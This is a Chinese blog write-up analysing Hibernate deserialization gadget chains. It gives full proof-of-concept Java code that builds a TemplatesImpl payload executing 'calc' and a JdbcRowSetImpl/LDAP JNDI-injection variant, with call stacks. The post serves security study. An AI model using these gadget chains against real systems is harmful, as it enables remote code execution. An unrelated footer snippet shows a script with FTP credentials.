深究Java Hibernate框架下的Deserialization
写在前面
Hibernate
是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java
框架,它最大的优点是使用了 ORM 技术。
Hibernate 支持几乎所有主流的关系型数据库,只要在配置文件中设置好当前正在使用的数据库,程序员就不需要操心不同数据库之间的差异。
分析
对于Hibernate框架的反序列化链主要是通过调用了任意的getter方法,结合TemplatesImpl
这条链子进行利用链的构造。
BasicPropertyAccessor
在该框架中存在有org.hibernate.property.PropertyAccessor
这个接口
我们从这个注释可以知道,定义了一个类的属性值的相关策略
在接口中的定义了两个方法,分别为getGetter``getSetter
方法
该接口的实现类是BasicPropertyAccessor
定义了两个实现类BasicGetter/ BasicSetter
主要来看看BasicGetter
类
首先,在其构造方法中传入了三个参数,分别是目标类,目标方法,目标属性。
同时关注get方法的实现,将会触发目标的method方法,这里就是漏洞点。
那么这个Getter又是从何而来的呢?
我们可以关注到BasciPropertyAccessor
类对getSetter
方法的重写
在getSetter方法中将会调用createGetter
方法,进而调用了getGetterOrNull
方法。
在该方法中,将会通过getterMethod
方法得到对应属性的getter方法名,如果存在的话,将会将其封装为BasicGetter
对象进行返回。
那我们跟进一下getterMethod方法
首先在该方法中将会调用theClass.getDeclaredMethods
方法得到目标类的所有存在的方法,之后遍历这些方法,如果该方法参数个数不为零就跳过,获取方法返回Bridge也会跳过,之后在获取该方法名之后,判断是否是get
开头,如果是,将会进行比对处理之后返回这个方法。
就这样得到了对应的Getter方法,而想要调用,还需要使用他的get方法。
那么又是在哪里调用了其get方法的呢?
AbstractComponentTuplizer
答案就这个类中
类中存在一个getPropertyValue
方法
将会遍历调用getters
属性中的get方法
我们看看getters属性是个啥
他是一个Getter对象数组,正好了,上面返回了一个Getter方法,可以反射写入这个数组中,在getPropertyValue
方法中调用其get方法,达到利用链的触发。
但是值得注意的是AbstractComponentTuplizer
是一个抽象类,我们寻找一下他的子类。
存在有两个子类,DynamicMapComponentTuplizer
类和PojoComponentTuplizer
类一个是处理映射为Map对象,一个映射为JAVA实体。
我们可以发现在PojoComponentTuplizer
类中存在有getPropertyValues
方法。
且能够调用父类的getPropertyValues方法,
那么这个类方法又是在何处存在调用。
TypedValue
通过Uage的搜索,发现在org.hibernate.type.ComponentType#getPropertyValue
存在有相关方法的调用。
这条链子的关键点还是在org.hibernate.engine.spi.TypedValue
类中
在其构造方法中传入了Type和Object对象的映射,在上面提到的ComponentType
同样实现了Type接口
在构造方法中除了赋值,还调用了initTransients
方法。
创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()
方法。
之后将其赋予给hashCode属性,
我们可以关注到反序列化入口点,
在hashCode
方法中调用了初始化赋值的hashCode
属性的getValue方法。
即是调用了ValueHolder#getValue
方法,
在这里将会调用之前初始化时重写的initialize
方法,
如果此时的type
是ComponentType
就将会调用它的getHashCode
方法,
最终调用了getPropertyValue
方法形成了利用链。
利用构造
Hibernate1
同样的,首先创建一个TemplatesImpl对象
//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
之后获取对应的getter
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
之后我们需要触发getter的get方法,根据前面的分析,我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer
类触发get的调用。
所以我们创建一个实例并反射写入数据
Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);
完整的POC
package pers.hibernate;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import pers.util.SerializeUtil;import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;public class Hibernate1 {public static void main(String[] args) throws Exception {Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");Object getter;try {// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];constructor.setAccessible(true);getter = constructor.newInstance(null, null, method);} catch (Exception ignored) {// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);constructor.setAccessible(true);getter = constructor.newInstance(templates.getClass(), method, "outputProperties");}// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里Field field = abstractComponentTuplizerClass.getDeclaredField("getters");field.setAccessible(true);Object getters = Array.newInstance(getter.getClass(), 1);Array.set(getters, 0, getter);field.set(tuplizer, getters);// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");field1.setAccessible(true);field1.set(type, tuplizer);Field field2 = componentTypeClass.getDeclaredField("propertySpan");field2.setAccessible(true);field2.set(type, 1);Field field3 = componentTypeClass.getDeclaredField("propertyTypes");field3.setAccessible(true);field3.set(type, new Type[]{(Type) type});// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法TypedValue typedValue = new TypedValue((Type) type, null);// 创建反序列化用 HashMapHashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(typedValue, "su18");// put 到 hashmap 之后再反射写入,防止 put 时触发Field valueField = TypedValue.class.getDeclaredField("value");valueField.setAccessible(true);valueField.set(typedValue, templates);ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);SerializeUtil.readObject(byteArrayOutputStream);}
}
解释一下其中try catch句中是因为
在不同版本中,由于部分类的更新交替,利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链:
使用
org.hibernate.property.access.spi.GetterMethodImpl
替代org.hibernate.property.BasicPropertyAccessor$BasicGetter
。
- 使用
org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping
来对
PojoComponentTuplizer 进行封装
调用栈
exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:102, Hibernate1 (pers.hibernate)
Hibernate2
上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的。
这条链就是通过JdbcRowSetImpl这条链触发JNDI注入,
细节在fastjson的利用链中就讲过了,可以找一下我的文章。
因为我们能够触发任意的getter方法,所以我们可以通过调用getDatabaseMetaData
方法。
进而调用connect方法触发漏洞,
POC的构造也很简单,只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl
类对象。
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
调用链
exec:347, Runtime (java.lang)
<clinit>:-1, ExecTemplateJDK8
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:91, VersionHelper12 (com.sun.naming.internal)
loadClass:106, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:88, Hibernate2 (pers.hibernate)
最后
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:
相关文章:

深究Java Hibernate框架下的Deserialization
写在前面 Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java 框架,它最大的优点是使用了 ORM 技术。 Hibernate 支持几乎所有主流的关系型数据库,只要在配置文件中设置好…...

微服务一 实用篇 - Docker安装
《微服务一 实用篇 - Docker安装》 提示: 本材料只做个人学习参考,不作为系统的学习流程,请注意识别!!! 《微服务一 实用篇 - Docker安装》《微服务一 实用篇 - Docker安装》0.安装Docker1.CentOS安装Docker1.1.卸载(可选)1.2.安装docker1.3.启动docker…...

JavaSE22-集合2-map
文章目录一、集合概念二、map集合1、Map集合的特点2、HashMap2.1 HashMap特点2.2 创建对象2.3 常用方法2.4 遍历2.4.1 使用entrySet遍历2.4.2 使用keySet遍历3、HashMap的key去重原理一、集合概念 集合就是用于存储多个数据的容器。相对于具有相同功能的数组来说,集…...

【项目精选】病历管理系统设计与实现(源码+视频)
点击下载源码 企业财务管理系统主要用于电子病历来提高医院各项工作的效率和质量,促进医学科研、教学;减轻各类事务性工作的劳动强度,使他们腾出更多的精力和时间来服务于病人。本系统结构如下: 电子病例系统: 病人登…...

如何用Python把篮球和鸡联系起来
文章目录画个球让球转起来画个球 不管篮球和不和鸡联系起来,都首先得有个球,或者说要有一个球面,用参数方程可以表示为 xrcosϕcosθyrcosϕsinθzrsinϕ\begin{aligned} x & r\cos\phi\cos\theta\\ y & r\cos\phi\sin\th…...

【RocketMQ】消息的刷盘机制
刷盘策略 CommitLog的asyncPutMessage方法中可以看到在写入消息之后,调用了submitFlushRequest方法执行刷盘策略: public class CommitLog {public CompletableFuture<PutMessageResult> asyncPutMessage(final MessageExtBrokerInner msg) {// …...

AMBA-AXI(一)burst 传输-INCR/WRAP/Fixed
💡Note:本文是根据AXI协议IHI0022F_b_amba_axi_protocol_spec.pdf(issue F)整理的。主要是分享AXI3.0和4.0部分。如果内容有问题请大家在评论区中指出,有补充或者疑问也可以发在评论区,互相学习ὤ…...

Java知识复习(八)Spring基础
1、什么是Spring框架? Spring :是一款开源的轻量级 Java 开发框架,旨在提高开发人员的开发效率以及系统的可维护性 2、Spring、SpringMVC和SpringBoot的区别 Spring主要指Spring Framework,就是指如上图所示的各项功能模块Spr…...
WuThreat身份安全云-TVD每日漏洞情报-2023-02-27
漏洞名称:OTFCC 缓冲区错误漏洞 漏洞级别:中危 漏洞编号:CVE-2022-35060,CNVD-2023-11996,CNNVD-202209-1527 相关涉及:OTFCC OTFCC 漏洞状态:EXP 参考链接:https://tvd.wuthreat.com/#/listDetail?TVD_IDTVD-2022-23648 漏洞名称:MuYucms 存在任意代码执行漏洞 漏洞级别:高危…...

上海交大陈海波教授、夏虞斌教授领衔巨作上市:《操作系统:原理与实现》
❤️作者主页:小虚竹 ❤️作者简介:大家好,我是小虚竹。2022年度博客之星评选TOP 10🏆,Java领域优质创作者🏆,CSDN博客专家🏆,华为云享专家🏆,掘金年度人气作…...
dpi数据接入shell脚
原文:dpi数据接入shell脚本_weixin_34416754的博客-CSDN博客 ##############从ftp服务器拿数据文件 #!/bin/bash #获取感知优良率DPI数据 #DCN服务器信息 uSichuan pS988188# ip137.192.5.53 #获取日期,根据日期抓取文件 Tdate -d "3 days ago&…...

Easyrecovery数据恢复软件工作原理及使用介绍教程
Easyrecovery是一款强大的数据恢复软件,它专门解决磁盘数据恢复问题。在计算机世界里,数据丢失经常是一件令人头疼的事情,但是有了Easyrecovery,您可以放心大胆地享受数据备份和恢复的乐趣。EasyRecovery使用Ontrack公司复杂的模式…...

【面试题】社招中级前端笔试面试题总结
大厂面试题分享 面试题库后端面试题库 (面试必备) 推荐:★★★★★地址:前端面试题库typeof null 的结果是什么,为什么?typeof null 的结果是Object。在 JavaScript 第一个版本中,所有值都存储在…...

设备运行状况不能远程手机查看。难道就妥协吗?为何不试试这个办法
一、背景 随着国家经济结构逐步调整,纺织行业自动化、智能化水平逐步提高,业内竞争程度也将加大;整个市场变化快,并呈现出智能化、通用化、网络化、复杂化的新发展趋势。客户订单小批量、个性化、快速交货的特点越来越明显&#…...

重新认识 Java 中的内存映射(mmap)
mmap 基础概念 mmap 是一种内存映射文件的方法,即将一个文件映射到进程的地址空间,实现文件磁盘地址和一段进程虚拟地址的映射。实现这样的映射关系后,进程就可以采用指针的方式读写操作这一段内存,而系统会自动回写脏页到对应的文…...

224. 基本计算器
224. 基本计算器给你一个字符串表达式 s ,请你实现一个基本计算器来计算并返回它的值。注意:不允许使用任何将字符串作为数学表达式计算的内置函数,比如 eval() 。 示例 1:输入:s "1 1"输出:2示例 2&#…...

微信小程序通过 node 连接 mysql——方法,简要原理,及一些常见问题
前言 博主自己在22年夏天根据课程要求做了一个小程序连接阿里云服务器的案例,在最近又碰到了相应的需求。 原参考文章:微信小程序 Node连接本地MYSQL_微信小程序nodejs连接数据库_JJJenny0607的博客-CSDN博客 ,还请多多支持原作者! 第二次…...

uni-app项目搭建和代码托管
文章目录一、项目搭建步骤一、HBuilder X 创建uniapp项目步骤二、开启微信小程序服务端口步骤三、把项目运行到微信小程序步骤四、解决警告二、使用Git管理项目2-1、本地管理2-2、托管到码云一、项目搭建 步骤一、HBuilder X 创建uniapp项目 步骤二、开启微信小程序服务端口 步…...

win10+python3.6+cuda9+pytorch1.1.0安装
为了让torch可以使用显卡GPU加速,需要安装对应版本的cudatoolkit和pytorch。这里我的nvidia显卡驱动是9.1版本,只能安装cudatoolkit9。 一般支持gpu加速的显卡大部分都是英伟达nvidia系列,都自带了nvidia驱动,所以不需要安装nvidi…...

【2023】某python语言程序设计跟学第二周内容
本文说明: 案例内容为北理工python语言程序设计课程,如有不妥请联系! 目录蟒蛇绘制案例:执行结果:代码分析:举一反三:绘制一个五角星图案执行结果:turtle库根据案例简单说明…...

多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...

大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...
STM32+rt-thread判断是否联网
一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...

Psychopy音频的使用
Psychopy音频的使用 本文主要解决以下问题: 指定音频引擎与设备;播放音频文件 本文所使用的环境: Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...

vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
Hive 存储格式深度解析:从 TextFile 到 ORC,如何选对数据存储方案?
在大数据处理领域,Hive 作为 Hadoop 生态中重要的数据仓库工具,其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式,很多开发者常常陷入选择困境。本文将从底…...

sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
return this;返回的是谁
一个审批系统的示例来演示责任链模式的实现。假设公司需要处理不同金额的采购申请,不同级别的经理有不同的审批权限: // 抽象处理者:审批者 abstract class Approver {protected Approver successor; // 下一个处理者// 设置下一个处理者pub…...

20个超级好用的 CSS 动画库
分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码,而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库,可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画,可以包含在你的网页或应用项目中。 3.An…...

uniapp手机号一键登录保姆级教程(包含前端和后端)
目录 前置条件创建uniapp项目并关联uniClound云空间开启一键登录模块并开通一键登录服务编写云函数并上传部署获取手机号流程(第一种) 前端直接调用云函数获取手机号(第三种)后台调用云函数获取手机号 错误码常见问题 前置条件 手机安装有sim卡手机开启…...